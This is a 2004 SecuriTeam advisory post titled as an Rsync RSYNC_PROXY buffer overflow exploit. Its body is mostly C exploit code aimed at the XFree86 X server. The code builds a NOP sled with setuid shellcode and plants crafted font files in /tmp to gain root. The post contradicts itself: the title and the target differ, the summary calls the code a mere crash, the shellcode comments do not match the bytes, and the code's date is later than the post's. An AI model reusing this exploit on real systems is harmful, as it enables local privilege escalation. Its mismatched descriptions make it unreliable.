[EXPL] Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 02/16/04

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Date: 16 Feb 2004 11:23:34 +0200

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      Rsync Buffer Overflow (RSYNC_PROXY Environment Variable) Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As was reported in a previous article,
    <http://www.securiteam.com/unixfocus/5IP0C0AC0Y.html> Rsync Buffer
    Overflow (RSYNC_PROXY Environment Variable), a buffer overflow has been
    discovered in recent versions of XFree86. The following code exploits the
    vulnerability and can be used to crash the X server. A SIGSEGV (signal 11)
    will be sent to the X server and it will crash.

    DETAILS

    Exploit:
    /* For educational purposes only */
    /* Brought to you by bender2@lonestar.org 11.10.2004 */

    #include < fcntl.h>

    #define NOPNUM 8000
    #define ADRNUM 1058

    /* shellcode from LSD */
    char setuidcode[]= /* 8 bytes */
      "\x33\xc0" /* xorl %eax,%eax */
      "\x31\xdb" /* xorl %ebx,%ebx */
      "\xb0\x17" /* movb $0x17,%al */
      "\xcd\x80" /* int $0x80 */
    ;

    char shellcode[]= /* 24 bytes */
      "\x31\xc0" /* xorl %eax,%eax */
      "\x50" /* pushl %eax */
      "\x68""//id" /* pushl $0x68732f2f */
      "\x68""/tmp" /* pushl $0x6e69622f */
      "\x89\xe3" /* movl %esp,%ebx */
      "\x50" /* pushl %eax */
      "\x53" /* pushl %ebx */
      "\x89\xe1" /* movl %esp,%ecx */
      "\x99" /* cdql */
      "\xb0\x0b" /* movb $0x0b,%al */
      "\xcd\x80" /* int $0x80 */
    ;

    char jump[]=
      "\x8b\xc4" /* movl %esp,%eax */
      "\xc3" /* ret */
    ;

    main(int argc,char **argv){
      char buffer[20000],adr[4],pch[4],*b,*envp[4];
      int i,fd;

      *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+16000;

      envp[0]=&buffer[2000];
      envp[1]=0;

      printf("adr: 0x%x\n",adr+12000);

      b=buffer;
      strcpy(buffer,"1\n");
      strcat(buffer,"aaaa.pcf
    -aaaa-fixed-small-a-semicondensed--1-1-1-1-a-1-iso1111-1\n");
      fd=open("/tmp/fonts.dir",O_CREAT|O_WRONLY,0666);
      write(fd,buffer,strlen(buffer));

      for(i=0;i< ADRNUM;i++) *b++=adr[i%4];
      *b++='\n';

      fd=open("/tmp/fonts.alias",O_CREAT|O_WRONLY,0666);
      write(fd,buffer,strlen(buffer));
      close(fd);

      b=&buffer[2000];
      
    for(i=0;i<
    NOPNUM-strlen(setuidcode)-strlen(setuidcode)-strlen(shellcode);i++)
    *b++=0x90;
      for(i=0;i< strlen(setuidcode);i++) *b++=setuidcode[i];
      for(i=0;i< strlen(shellcode);i++) *b++=shellcode[i];
      *b=0;

      execle("/usr/bin/X11/X","X",":0","-fp","/tmp",0,envp);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:qph@linuxmail.org> R0xx.

    The original article can be found at:
    <http://www.securiteam.com/unixfocus/5IP0C0AC0Y.html>
    http://www.securiteam.com/unixfocus/5IP0C0AC0Y.html.

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